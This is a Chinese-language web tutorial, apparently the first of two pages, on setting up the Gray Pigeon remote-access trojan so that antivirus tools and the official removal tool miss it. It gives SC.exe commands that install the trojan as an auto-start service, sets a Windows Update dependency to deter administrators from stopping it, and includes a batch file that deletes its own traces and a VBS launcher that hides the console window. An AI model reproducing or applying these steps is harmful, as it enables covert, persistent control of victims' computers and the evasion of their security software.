这个方法在官方出专杀不久，我自己是根据Radmin配置得到的灵感，没什么技术含量，一直不敢说出来怕大家笑话，老鸟就不用看了
废话少说现在讲下正题：
我们的目标是：
过官方专杀，过咔吧主动防御 的不死神鸽
准备工具：
鸽子服务端
IcoSprite图标更改器；
SC.exe服务添加删除更改工具；
winrar
程序特点：
自解压形式，双击即可
制作过程：
1. 首先自己配置一下鸽子服务端，配置时[启动项设置]这里面的都不要填，不要写入注册表，也不要用服务启动。其他的随你个人爱好。
2.用SC创建一个服务
运行CMD.EXE 在system32的目录下运行执行
SC.exe create huigezi BinPath= "%systemroot%system32gezi.exe" type=own type= interact start= auto DisplayName= "gezi"
‘这句是用SC建立一个服务，服务名为huigezi，路径Binpath为"%systemroot%system32gezi.exe"，类型type为 own 与interact交互，启动类型start为自动，显示名DisplayName为"gezi"。
sc.exe descript_ion huigezi "不死鸽子"
‘这句是将huigezi服务的描述改为“不死鸽子”
sc config wuauserv depend= huigezi
‘配置huigezi使wuauserv服务依存此服务（wuauserv可以根据自己喜欢改成其它服务，这里的wuauserv是系统在Windows Update网站的自动更新服务）。
这里的目的是迷惑管理员，使其不敢轻易停止我们生成的服务，自己也可以多加点。
3.将这些从注册表导出，我个人经验是：瑞星,咔吧等的注册表监控不会对导入注册表报警. 我们将他命名为1.reg
4.创建一个BAT文件,并命名为update.bat
@regedit /s %systemroot%system321.reg
@%systemroot%system32gezi.exe
@del /q /f /s %systemroot%system321.reg
@del /q /f /s %systemroot%system32Update.vbs
@del /q /f /s %systemroot%system32Update.bat
5.创建一个vbs并命名为update.vbs
目的是为了作用是令bat里的内容以安静模式执行，这样就可以让cmd窗口跳出来了，增加了不少隐蔽性。
里面写上如下代码：
On Error Resume Next
set wshshell=createobject （"wscript_.shell"）
a=wshshell.run （"cmd.exe /C %systemroot%system32Update.bat", 0, TRUE）
| 【内容导航】 |
| 第1页：简单方法 打造不不被杀毒软件查杀的灰鸽子 | 第2页：简单方法 打造不不被杀毒软件查杀的灰鸽子 |
注意！假冒微软安全升级邮件出现谈谈软件的壳及如何加壳与脱壳相关资讯 杀毒软件 灰鸽子
- 因为杀毒软件扫描医疗设备在心脏手 （05月09日）
- John McAfee：杀毒软件已死 （09/08/2015 18:49:38）
- Ubuntu中安装杀毒软件 （03/22/2008 21:28:04）
| - 杀毒软件让你的公司变得更脆弱 （01月11日）
- 计算机世界：杀毒软件还有前途吗？ （06/10/2008 05:53:38）
- Ubuntu7.10里安装个免费杀毒软件 （01/09/2008 06:30:26）
|
本文评论 查看全部评论 （0）
评论声明- 尊重网上道德，遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内转载或引用您的评论
-
|
易网时代-编程资源站